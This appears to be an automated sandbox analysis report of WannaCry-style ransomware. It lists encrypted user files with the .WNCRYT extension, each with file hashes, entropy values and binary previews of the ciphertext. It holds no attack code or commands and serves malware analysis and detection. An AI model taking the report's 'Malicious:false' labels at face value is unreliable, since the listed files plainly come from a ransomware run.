                                                                                                                        Preview:WANACRY!....O%....g..\&T...q.\.......<...\%.......b.....[@)....f..C.yB....E.....R...x.....#.E.{3.6...WT.s.k.....y..h.w..R.F.v...3.i.Y.....vVK.].vP.....#X....c<.,....p..$..i:M.=...dH.wlN.......r.9....n.f.h.O...?@S.0_S....oK~.,..h.:D.e....8\..Xe.J........-u.............A.....s.~m.[.R.6&)...>..U..../......W._#..#.tu.k..1X#....).._.*5.j3.S..M..O..N......\...."K....q.E.Q..5..>..!.{......y..](..w.M...2...7\...`..)...~R...;Ae..-pc.)..W.a(..4(....]...@G..Z..lP.S.4........UTl....-...c.....b[.._...f.#..@.L....5".<.L.).<s...I....N..8...I..}..d.-..%...pb..q...J......].g...<....&..5qeW.:..k....w.Rg.f......S.{..eW...1.....J..c{.=..*.5.i..A.qk<.4K.aId.XD|g....&..U......y.vG.s.kKN..Q......W...v7.........yr..m.hD.:.g.C<+..z...t.-.]~..........3...F4..tx..1!P.....&...L.g.]......~...`..Jh...h?..... ...#+F.RV..W......-FT..a.Mk....[$..O..ae`..%..<.:... ....."...n.<.'o.....w4..i.Uh.....8.a.\.ir...,o...b..+.Tw.)...*.:..wE...I.Jg%..1..<.C.F3=@.{r.q..iN....~.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BEGVXSVKZL.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8393857511857465
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk4l3NDfoNc9nqEiTs3KvAcaskS+WmRNQ5WSer0yO4bB+hRpaQMTmDFqrk9c02Uu:bkqFEc9nqFgoA6kbW+C503O4bkhvaQM3
                                                                                                                        MD5:33206F28FF422AC27755BBF110C85F16
                                                                                                                        SHA1:2087B77E52B1CB545B46088B4E2267F62636D2E1
                                                                                                                        SHA-256:83E3C69322E18286FE14D540B82F6B11F44ADE56A9CA7C68E335FDE020F5FF50
                                                                                                                        SHA-512:DF187FD6E022A6D51C4A05071EBD3D25F4E1E09F191767AB420CCAEB285D7E142172C55D3705B3139B4650632F5541448D34D40C2A12E1B8C8725C21AA0570AE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....1...-.-..U.v...<F...Z..{S.B6Ho..!@=.1..)...*....aV..{.R.....b..r.F3W?q.3..q...#.'Y....D..p......\......K....+\....#..a7.V@.u....o.4.'..............Q..S..k(Xn&.FB7.aX.K.y.m....../p.fN......Lb{...../.......E.......^.R..4$6.8. U.D...Bh._.&0!..X............C.J..<o......l...X..c0..J_g..!w.^8.d..K...z.."43E....hCx.\..J.+.b!U[...E>q..w.@..'...,..L$e:_........tS...I..f....L.c..R...+J.o.NR......t.Q...9...i0~].:.Bv........a...H.J.%.....?.....S.0.....;.............t.!....L..5{S.1bY..B..m..u..o....!FA.c....K....K..j.#.GD.E-.|.....Dws.Ncq.i.{..&...it.l....ZQ.O.[w.].x.._.$......).D.......N..&.......d.U...a.5%.xt....(...Q.M_..X.;.r..&..:....{W.../l.t....D..@.....n1....!E....c.k.WS.V..;;l...].'..wP....K....b{z..F..b7.$..$..,(.D...q.S...../u...$+.3<`.]qif.".\.f..R..o .'.|.....\2...N.........A....(.-@XFU...uURh...^~iC,.7).!.,...x6...i...U.E...!.....n...d....{.K..7_G..K]Wz.....C.Q.&\~RJ.66.\&..............K.p.1f{..'.j.$f.).n...z...XO.5q.c.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BEGVXSVKZL.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844871393647329
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkYjA1+6LIh08uF3TihhzILsIs5QennmdNyFsD1GF7a7jkw8U+U9R18+tE:bksA1+6uOFwWsocnkksDMib8cR1E
                                                                                                                        MD5:23F106BF6987852FC52996AD7E2FDFF2
                                                                                                                        SHA1:745FB23B41A991E4B14AF34A4649D4139F4CD966
                                                                                                                        SHA-256:62231AE6C28BE1E059BCEC7E8238E2AF1E2A5AF9859FCEB1DF15E812AD87424D
                                                                                                                        SHA-512:D9305289A0C31B321CF4077680BEAA407D55ADCF8E4B16F886B9C21E2B1B67BC586424AB53DD7C3E947E099F239272FCEE540D86DD9CBA89B740A52EBC52C983
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......T./;...i......}....Z.....DKSN..7xI....8.E.r..u#I4^.#......Og.@wxh....D..sH..Hq.@...r.o...As},....m...*.F....U..5:.....^.J..d.........;.#.....9....0.}..'Ux3..}.d2...m.3......##CcI4...VR..(.k7.()$0g.......D9<wq..B.J.....bIB.o..........jsP..!.............N...f7.N>...-....&...O...#.!._.O......m..47....9.R...R.:...(.....6.".Uh.....:p..&...2.%.B......QS6%d..JB..H66..M.dZ. (.. .?.-A..p...(..w.....fc#.....}.:..{........K.l......./..<.9.pf.'.....#:..h'....|,..0.tzGi.Om.a{.r,.%..KV.qZD.ET.....z..3..,.S.$.d.y..-u.E....T].z.&..z......~s.....Q4= !......x.R.....a8...R....?C....O)..U.Eu.<U.<..@.j....{$B99._..P......g......k9....:.~.UY.\t;.........A...u>,.n..?.8.C..F*....Z...pY....eZ.'..|.,....8"Y.(=.,..&.z.`/U.....q.;G...d.......e>NK.u.,~.y=.z;......e..-.KcP....].r....."}....+T...>..]9.Pe.l..YN..".. .....;.x..$p...>......Q.k\...az.r.d.f..q..t-.......ry.....L...B.....h..-4a.A.)o.Z?....y.f....I......x.:BB.....\...&D.E..

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.843382604284583
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkQ98ucJ7i/F9JfMjsrHzF2QOfzl8rxmN4uNpIt+C55RGEeY:bkQ90u/JfMozcfzl5yGpIMMeY
                                                                                                                        MD5:99ED5B6D446273C1B8FD96D789C56C35
                                                                                                                        SHA1:C00E866D3F36D8EF10938C6581480B94796F64C9
                                                                                                                        SHA-256:647390E6BC902B93755E8B0DFAD37DA2FB7E91C5F59D862D1388DB3F912399E0
                                                                                                                        SHA-512:71DEF3B848F10518F020BB6AE86EC582AF4B4A4C8357CD5E942667EE94CC2D62DB6E21548C10F9B290F11398C2C1BE400BED2B44767F9F0F55CAB10F8794A0E9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....F..F.c83.|.~.m.u...........4.L..C.y.}1.{...... |.2.#......j..P.(..d..C...Cr.s9W...q.1.XG..3B.I.<).4&..8K(...>.%Vlg.|../.I.s...EE8A.Z....!-..7e..."..=q...C.........}...`.6...lJ#.....X..........4.7.......g...-.B..7..._..xZ..}I...x.iF..g......9.............A.TAd....p.F._.'...\._.-...'#.w...o.s....._....X_........[...!t. 1+.."...e\~..y.$....:..r....< K(O....Yq-N.,XG..;.%...[.........`...."..qB..s1..?.hG.H.....4*.F.Sj.s..*..A...^....S..d...U2.B...d.p.1.7..d...t.'.l......v:.F.?....k.e..Q.....c.6.A|a...c..F....I..[..Q.....JOi.P>A.\`....#..G..57......^A.Gba.0.. ....F....d..Cd..vdAkS..........D.`........7.6...\ h....l|.n*.I....S..#.lI.*..._...0..c..Vf.....U.SH....V.VVx..^....).H..S%.a.V.....{.S..+..b?..$.....S....S{..{..v#...5.A..c.R...A...N.......p.(.P.XW..kz(....Z.a.B.U.....I.Z.,..k3b.5.r..~...X..>.G.j.:.I..b.<.l.......C.......l.~.zW....%..^.v.f.0wi.4nQ.!....n.:.kdW.m/....k...Ym......,....T......9...<~......p.4.....J.fU+..

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.858346884913728
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkBY+MvP1T+Jzzo9bRCTObMfkN9md78X60RXsh16zhZPX8Pbt:bkBY7PYzzoW1fkNotEHRXXzXPQt
                                                                                                                        MD5:27D5B8AD52129938D098A22BE3460EAF
                                                                                                                        SHA1:56904566B30EAFA11672D05EEAD5694D1EA04CC6
                                                                                                                        SHA-256:0E1F3CA6A53F6D57B1E06C65F6059D116511DC3083134AE43BB67531C0E427CC
                                                                                                                        SHA-512:7F17045A9A5063E8CD03FB99D2C1E3E72D246909D488886FD160A4630B063D5C8C9593722C949CDF4F2384AF69CE30E8E9D1BAF91D7AD8F6B32CBDD9A839357F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....X..+S....N...h1......'..W.qv..'.u.]#%.`=..w7..4..$GFa..>...T..<...D=...C.I..r.ut.`$:......)..E.y%(...1_..=@..@A,.?..7y.`B..I.5..?.S........."%.3........<7.....'...\.e.~.*...._.*..L`............B.0./..............B..J.U...\....D......2=...................g..&.....v.e....c4l.....b....fR.5x8.%,.O.-,k..Ly"z.0.../.....rh.0.=..mfW-=.....Jt.Z...+......Y.r..7..L...vNe.o.A=M*......V......e...:.....h......o.B.a...C...Q....$r@W.LaJ.. ..M)...O..w.qHw...,...U.....7..v-.3.LEv[Pd....Si.9.1......?M.L0..;.T..t.+0.-{......U....4..z.$......Mm....6....F...b.'....><...$ks....0~.K(...ZD:.G/.)..*o..F`.k.g......Z.....n....p.a.'@....l.J...hZ...R..[..G> ..x..X...G..R..?.s>p...7P.5B..[.~.........Py.....'.xKB........H....X.^._.h o.l.......8y..7..J....z}...T>.d.*.....]u..&3...q..%...T}...\r...N...I....#...qt'... ..O....7..).=...j.'R....../.Vt0.U......-...@..u..*l.@..l.n.z.."W4zQ..{......9......vjU............5.E.(2..q.^.G.6../.y..y...x..B..d..B.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856218345384031
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkD2kteoldJOt/U9j3vIBcF3BItszQiludkiG7HL3cAhQYc2V784mdr3:bkDbUgdJW/Udf8awszLlVi03c8QG78pV
                                                                                                                        MD5:C2DB577367C20925947337D20045812F
                                                                                                                        SHA1:5BCA470BCB26919E247C28D4B5C92C38721F2F31
                                                                                                                        SHA-256:02E6F22BB5FF4FE5CEABC0B0BFC5A44C4A25C7B3CC0A2DF4236AEDBCEED719A9
                                                                                                                        SHA-512:01111FB78E58EE0798433D42BCDFA540ECCF2D23017797E86FC3688C711781BC3061E5587D11CADD6FCC4A72127FA903E65CF0BC0918AFC6C41C75D3235DCBD4
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....<...>..*._-'m>.@..~...G.|..Y.'.:....}..B..."..)y....Z..Y.n.p.}.r.R...z...s.4..w.U.).......,.0.....M5.....8..Y...gG.`1<...s...*..[........6}.u./..E....s.....]..}5.l5.....S.v(L.l..bb..#...N.?...{.6..=H31~s....A.v.q./yt...BTu.....[.Y0.....W..y..m...a...............E....:p....&..3.......m..\....\\..N.~;...D....8;....a.i@Q...x7.xw(.p*..p../........!.#5h&S.%.I......l..dX?J...s..?....GQ.....m5,....Y.._-?.\o.B....>.g......-Q.HI.?......3....}.|.......i....g.,.S;...x.........,....p..R\W_..x3..p....8..&.(....P...M.....w...ln6...........i...p]F..+......3r..6.k.._e.X......R.?L. .R..B8zoM.Y.\.'....Wp..]..ire...I.P.1..~.%....O...2.$W4.i..H.r....J^E..emQ.nP..#ot...i`.K.e.T.\....d7'].o.(..s/}D+....=.j...Amv|fK........9k.E.*(...|ff...l.c..(C..M..#.Z..9]!..W......g..~.'k.7.7+...mt.W.g..IM.t5B.<.+..2.......|.b.#..1....l...f.-V.U...(.y$.?...=.t.;G.Vk..6..^....l..........K...".^$U.Y..._..C.n!P..O......W..a..n,...#JL...B.p.....*.f..N..u+..XI..(;l.z

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFGRWFCUWS.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.844881116681791
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkbcAnEQ5kmNlISuHX0TH8OC5wuPWdW4xoh95hdlCwRSXgOeZyA2iC0xwpPfn:bkbFEiNiSuHX+8ObdW4qh95hdlCwRSXJ
                                                                                                                        MD5:AD1771F79E06D72C45C5F2C89C44BDA3
                                                                                                                        SHA1:FA36C3ADB1C4CCC28A97CB63C468068C227E737F
                                                                                                                        SHA-256:6F50839E54FB96F1E1F3234BC1750EC2D8CE8638FB27AD57D62327B53CC10A46
                                                                                                                        SHA-512:6D766B27927B6D43A4E72D773B26CC16739C099760C44A2032BC2BDDC65614B06B8BB4D25AA1801E4ACA8C5469ED2044CF0DB24578D3960BCFF9FA720C583803
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....:.z.X.... ...uF...].F...Y........V......._...= "......v.<.rXf..)a....\..}E.Y...?..I......C09..P.4.....M.....@8..3..>d../&.TLa..>.9..iP.V*.c..."#.'..l/.c.....}&}.s6...2.Ln..#/..8...<..LK..k....G3.......$%.\...>.T.hh.p....R,j...)....4..J.U.Y(...z.............@.'.K....Z2J..s.Pt....-.........?.......w.\.....2M.....&0d....^M.c....a..T....%..UP....~...N..h.....w.....-.H. eXy.l.c....a..[;.>..A....!...Hx....VV.%d.pD.k/U...H=H...cB...<.9...?wk1.^.fY.(..".q...t?..s)..vQS..c.|.....s....m.1Tsu<..}...^.@.....3.G.d.S.x;.]@....(x.`:1.c"..T.Kd.4.R1i...".z.~JiA.k....&....Q.....=...3..... ..^...Q.J.....c%u..+..)=..>.r.3....dv..^..b.!.....AsFY.ZTz-...@.9.N.s......%...<e..F...J..e....~]R.LsZ...oo..7I\N.<'.rg.a..k.......B.$3p.^(y@.~.,....)V.....$.3...T..{.I...s...Vt..o....nW..8.H...(u......|.Y@......q.!".yj..v...<...HP;h.0fk.3...R.{)q.J@.. .q.>..q.|..n".^..jw..15RG)B.h.9..q...}j~.Lu....^..N&.x.i ..C..U8n..t.....qq.+..5i{...}......g(W....e...Q.~..H~-\.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.84514779101097
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkjA9v+qlW8DwbLru3ovJTHKj9xht6/kujn7LKifzRfkGd2+cC8kfUkzYB:bk89zlAeohTqZxm8sn73RfkGMhkfUzB
                                                                                                                        MD5:C976B5DC2D56B012BBB855221C71FE6F
                                                                                                                        SHA1:673B8EF4696B58287BA89D344CFC029D4ECE81BF
                                                                                                                        SHA-256:F7C0051FCB5B43647D9A9DC96F0E911174D779DB4936642ACD7148EB7BB1A32C
                                                                                                                        SHA-512:6279336D57E693D09CD490B353564EA1332316C49C697DFA50A65AEEFFDE4FAE771A33976379BCFAEAE53C54B1FCBF78D65A6D05CE69211EB079489BA91B9A65
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........k...@...9.<t@..u...h..^....?2.P'.:.ay..b3,....2.8y<Vmy.....g..).H.7..W.A..F.....$.oW.J..97...RV .E^..L.....Gy.4.jRW....5tp......r.v..n."."S..1.c...HvH.+.6.N..&0..(3[.U.mPzpU....7l.U...j.Z.r,g..t.Q}EN.1!...`y.4...}u(.|.n.g...[)q. g0.i...8..............1}!tm......l.r,.... ..UN.\3...m.....8...6a.8..4....a.{4V..Zq..Z..9o.$'.....6I..9.H....!...oC..._.A.p....._}..7..D...).....e#..e.....d.,BP...i.Y.z.j...P.$..C2..u#5'.l...{.....-(.q.=8.V..&W..7..`..T.......x...N.h2.q._..O|M..L.=OV>.....JG...yo?;.s..H._..{.b......A)...A..k./.v.o.heZ.A.*..~Ji).b.3...i'6.`.o..Y..;..5F.....n...]...<e*$.....R..J_../..F....>......m/...f.^SK5.....*.....~.n=.ag..#;A.. .1<.../+...G.T....?..." ...p...Vx..!..;....f1.......r..z...X:.*[a.s.........Y.+.j~..#.A}$'7.&.R..H.t....3%.. EH...Q>[M....<%....<(9...:/+........|J.bX..D...I}.fh.E..|.....2..b..M..j..A......6..KWK.C.\.2.....$'.Apn.p%c.>u9.5$s!.....^}..;..}C..:e.jL..F.c.<..I.;..8d.t...k.P1...B.u L...p.._

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.823808952246018
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkgmXmpFJy8MRfAIjNANHLFCjVtpAiblH3P9HH+FI3QLRz6pF52PzRfVXyl/wFp:bkg788QYIjNeHZCBAibR3P9n+F3lOF5g
                                                                                                                        MD5:7E6C0B531E1ECEB29BC060001473C7E6
                                                                                                                        SHA1:C41EA2E7F831ACA36D777F4C7254715F36DED898
                                                                                                                        SHA-256:FBCED274C130A705FB86D803E6A72E83E274C707B904DC59D478D1D96B14A17A
                                                                                                                        SHA-512:B1300A6C307A0039286935ABB5DA3E4EE8C5C409ADFC8F6C400CA4927BE7B53E75B71E42E25996F0A833CB0203D90AC6B465AC2961C18ACE078357D05A1C8413
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....;V.w.........e.V..f..K"/k\.t.5...65X.4.....!.....aU....r............3< .hS9.......v".U.}"'a'.. ....-`.a.(....a(@zy+EO.0......C...\.R..J......K...C...I].....DH..9J(..@.Q(.\..Y..q._T.L...+nK.r....D.j).F..H%..]...q'..MS.d...H{"y..`.k.!lo$.<.=..............L..i...X.n..6vW6J..I.. Z<.m...9..)..."..iL.m27d...?#....B..s...5..fo...].P..2......$S.wAD.-.............T....y.!.(._(.yLiHyJX..H.ncD..e..=.-..z.....in.R.JF....9.....v..PM3...O....a....9$.;.4/=.....( y.jlg.....).Lq..[f.Ck........0..8G=#.......H.v..{Fy....$....K9.EA$.(.@.<...xsY..{..B.@!~$n..I......Z.?U.})..A..wK"=.+.r....f..".......l.bE..]| .~."k.....+kP..6.......JK.....9....7...V3.....f.S.._~U.). J....8W.l.M.q.{...hZ/....'.T;..[L.?. .5.....k..../(@.......e.Y.Z..Jr....B...O...`-WeJ....)...Z?.y.s...>..M,m.....m..O.*.......D..I.gJ...%..D.li.@`..G?b...d.UW....".../5.)}...g...h..}N4...RSd..Po9.....4:.W.N..+.@Y~..7.'k.:.~(?..6.$.X5.....CG5(5.9.v.d..[. ..........]..1..aB

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GAOBCVIQIJ.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.848931037008945
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bknsl00cuRN6Z1SPFqBSbVU2DkijDkCzHB/uhCj0DMzHOX+RwhaEnowwcUvN:bkjxSPRVFDdh/uhCj0DMzOOGamIXN
                                                                                                                        MD5:75181C2F0F6C784FD7B3C9E3EA4FFA93
                                                                                                                        SHA1:D3DBF3867BB391AFECED2E7D9AC6481DA6A20161
                                                                                                                        SHA-256:BC25F5868049D8DD57C9F995DAEA46FD5818B58ABD6BF4071ED3D4A4E4172594
                                                                                                                        SHA-512:32F506C20BE94DC461E7DD850531E2E3EC9B4AC0C9E48ECF322C5BA544DD3519822B00143588CD75AE422FD5B6C59992BD460E91570FBD7C37EE11307FF9503B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....[.....^l.s..R.M<>X.XS.'M2a...*....Z..I.P...[$...HG..A........h*=aW>'......S.R1"..^.*....ny.'...{..V.....$...L.o@K.......b/.+.[.b ..g........G.m..'..|.=..v.j^.Fo..g...;.1.].e. ..n..l.>.:U.A.#(..w.A.t.?. ..7o.P]K...c.........*4..u.....id..gT.{..+.............8.&...@.@-P."......D/..F.4\...a#..t.....#.>P._'.L.3....yW..I...."u...@G..;.TxP..$..[.-.k.Ba....c.N..`.HR.O......]Oc.<......v_..4...EQ$..W.....?...............2..`....pW..W_.3].......'X EB.n..Y..s..SS...4Xq4.F...G;.....:..J.g....0Bedf.u.e..-.v.[`Cy.Ix......pA.%.d.E>C.M.5..Q.C....%..\KW>..=..H..$..a..w..._...R../...,....Q...d..d...0.......K...#^...nn|..Zd.?.....*..r6.O......!.[.M.:/.>x.....c.h...Nde=$.......`+...m.%..(.....".W..k1.%S..>L..+.^4...!4..ah..R...7...47...z....z....~#........p...i.f..M.."~.p....G....o..].E.boK....W+p.+.w.">.. {].t8t...........[?.0@.Nwm...,J\.Qb._[2.;x{......9.;.E.3..r...q.\.&.'.z.P..p.q...lA....fR._..~..............v..Cl.N..]G*Ke..Z....~ty...d..H.....n.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GAOBCVIQIJ.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.854134308839935
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkDSeVYp7H1wOH+zUEQPuvYXetJO0IYqPFSTFii2QU87Zvfka++HQU:bkRYp7HCBzUE0uvi6UYqNSQCb7RB+3U
                                                                                                                        MD5:6ED180D7665CACA359AD0BAC4E6C38AD
                                                                                                                        SHA1:2A3F241FFF3B388253565855AFF93DCAB379A3B8
                                                                                                                        SHA-256:5F2A56901806EB6B671F12E4F8F01E5F6EC63F02DB3CCF5D61D9A4D4775E1680
                                                                                                                        SHA-512:F9F2A1DD0495371EBFD2BFA5C150CDBF87B5BC45605860DFD67040A330DE0E434A1F8C9EB04877EE5DD585A9982AA9C75BE9D4CC41077C86CEFC28FC317542A3
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!..........H(.ibT.~On..&..........$...6.....b.x..`O/cQR....Iz&...lg./=...S5.......f.]..txa.....e.-..%B.6.J2=!,.....FWU!..5Hn..X.......=.wN.S..h.x.vO^...O.._{.<."^4.Ep..&)].2.V.......n.t3.L.e.,k...m.3...a..U!.<.C".$=..D.:..!..t..9g......-...-_=+~.. .19.s.................W...@...Pw]9...r.]...[...$..60..........4N..<.f....._..t...g:"...o..1.y}.yL9..Z..=..CW\Z.vR..w~...W.IjD.o...R.?..+..<^(......l. aW.L>.?.m.1V.d..........gX...;.!#pq.!z.8..O....$...5.}......t 0....v.[4{...oq_.~...%......Z.=J..U.F..r~|..M..].u....S.wK!...M.:.G.!....C>B.G.....C_;..:.:}.............D.x<k..g..=.,.U~.5g.E...w-..g.h..%.O$.J..4{;......O.d.(.X:......!e.W.._.E..p..........F.Q...Ws.Z....>.X......KP.6...."a..n:..d...>t|.~.Y.MF.6.2?o.Y...!....o../."i..F.A.g.....x.<^..A]...rn.5/Z.\.[.%.m..RQd....4....`.9FK...2.J..5..?.a....N.~$.wzpF.6=..-...-..L.MI^3..(...Z.nA....}T.O..j1K6<&.....Og...2..F..b.".g..G...TV%...W.p.6.k....._c.,.X3o.....<.r.#.D..{.&..`Z....z.....q.@U..u3Do1.j

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.856187245633827
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkSTCns5DMyx/ScRg7oG6qIbLEfsGwZvSKRNv0Zd/FEwnylU7n1vkrnQKGrNws0P:bkJsL/SSSoFqIbLfGwZaKm/9E4ylWWr1
                                                                                                                        MD5:06A0A186ECFED3739FF8F6594A4C5D4C
                                                                                                                        SHA1:1B9986753D23CCC1681F47381934C7802343D037
                                                                                                                        SHA-256:ED03B0313477BA586298BBA1A69566E7816B874B9DF4D8CC5BA8398BE66F2089
                                                                                                                        SHA-512:BAD3DDB8EC6E93FEA2C2EB432A78C5F6A412ACFB9276B9EAC2419B91694C8AC353EC69DCA25534AAA69C31D605FBFB55963419FCD45F4C9EE0DC7F801354DC76
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....(....u...K........nI$..I..|mf..Jd.a.JL.K..k;. ..e..[..Zg>.Q.uG..}.V.~..}*S!.........b..........."...A.....W.?@..7$.{....*...~..(;..1...R.......!.`..w..i...A.......j.U(.X.Arh.^..XK..I..H..wS+M.......a...#...........v/...j..2...m^..............d=.........:.v& ....G.S....-.....cx.k...3I.m...'.....LsP~...P/U.....^..V}o~..B..m.7O.aS5.(..i=Q....A,r....h......L...j;..(.....Q'.H//#...`.../."......q.....k....<.....d.q.K.....0..!@.Oy.......8.....pK..S.F&{.I.........xC.+.>.c...s.en!S.....d9.....*.$...M.i.|.ONT..j....X:........<..w0U..e]...$..z.0...E&...7.\..H.xL.C/}sv.s.....]w.=BN@...... .Fe.V...d....7.%.1..C..S..]...D7@Q..1......H?........z.n..]x..z.9.Q.>......rJ...b.....*.tE.b.....~%....(F.+...9.K].uW...s.B`...(..}...:..C..@l..i...-.:,.._...n...zf..{-...P.tW...l8^{.I..{.x.n.$@...C8q.A.^#.+..4.......;\%.b.zIYF..t:G.>..$FA...v.k.....P...z....$.0C.,S$ws.....X.()r.N.|i.t>,....._..1..k5 ......a..|q.q.|Q..l......E....C..........G

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LSBIHQFDVT.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.846129780519637
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk4aL+u+QCT+VPsTQjMGpg0GlUbXvRKnyfPUwiJ6:bk4aCQK7TQjNb/RayfPU3s
                                                                                                                        MD5:07EBE836003ECC118C87559EC3336B03
                                                                                                                        SHA1:57695BE4237B76E576D03586D77E621F713B96BA
                                                                                                                        SHA-256:E3D873972F46B959677E9F797824A84B3838A0CD7485F744EA51D3A270AE8587
                                                                                                                        SHA-512:C1DC542825E43D545ED8C002E8310B04D1C2E2994EB9F537B7081583F9C1DEDF8F2757A0F45C19055AD7C474C741E504B1CDE5237BACB32C22D2AAA693D65011
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....<...%b.)......V.^.[.+4m..$......>...\@...'..W..=c....U....c..X|.v..;....7..._..`..x._X..V........?...P0}..-..&V&..G_...5&...=...B/..5..p.....}*..H}..I.B.-aQ.............V.r]..+.]......V..^N].'..q...&H.....CI....O...0=P..{wo.......\......y..P..x.|.............0..a.....w..U.k....X...$.J.).o.3.U.-...!/*;.....yd$.>..v....b'..2w-i....{._.P-U.S....b?....l.g..y...}.....i....~b..L...M.^%..I...J..7..h.@...K]...(.A=..0..)..E...LZ..)..I....D.G..K..i..P.]; ..7..U.-.l...b..............p.MO....m.\vyB....T.X.__....~.]&g=x....<..0K..p..].2....KV....s..smu.........{,..1.+N.iW....b.....FR.F.p..m..N.....3.....~.BL...g...e...^3kk..4.SLc...V...A.B...'.-...7>..,...B.......8........|.......\.4z.L*o..v.X$..2.O.B....^....>.6Z.,.B;...B...w......_...D..`v'.G|....Xe.T.D.s..[_..--..lIe:.G..S....O.[..z2?.s....:>.h.?gZl.'...S..b........lEG._x=.........J.n...P..CLy.h-..W.sB...j./...A_._.K.\..d....e..0%..#..T..u..b..t}83E.\.u....".l.g..5D....:...[...9...60E.

                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.850229105594138
                                                                                                                        Encrypted:false
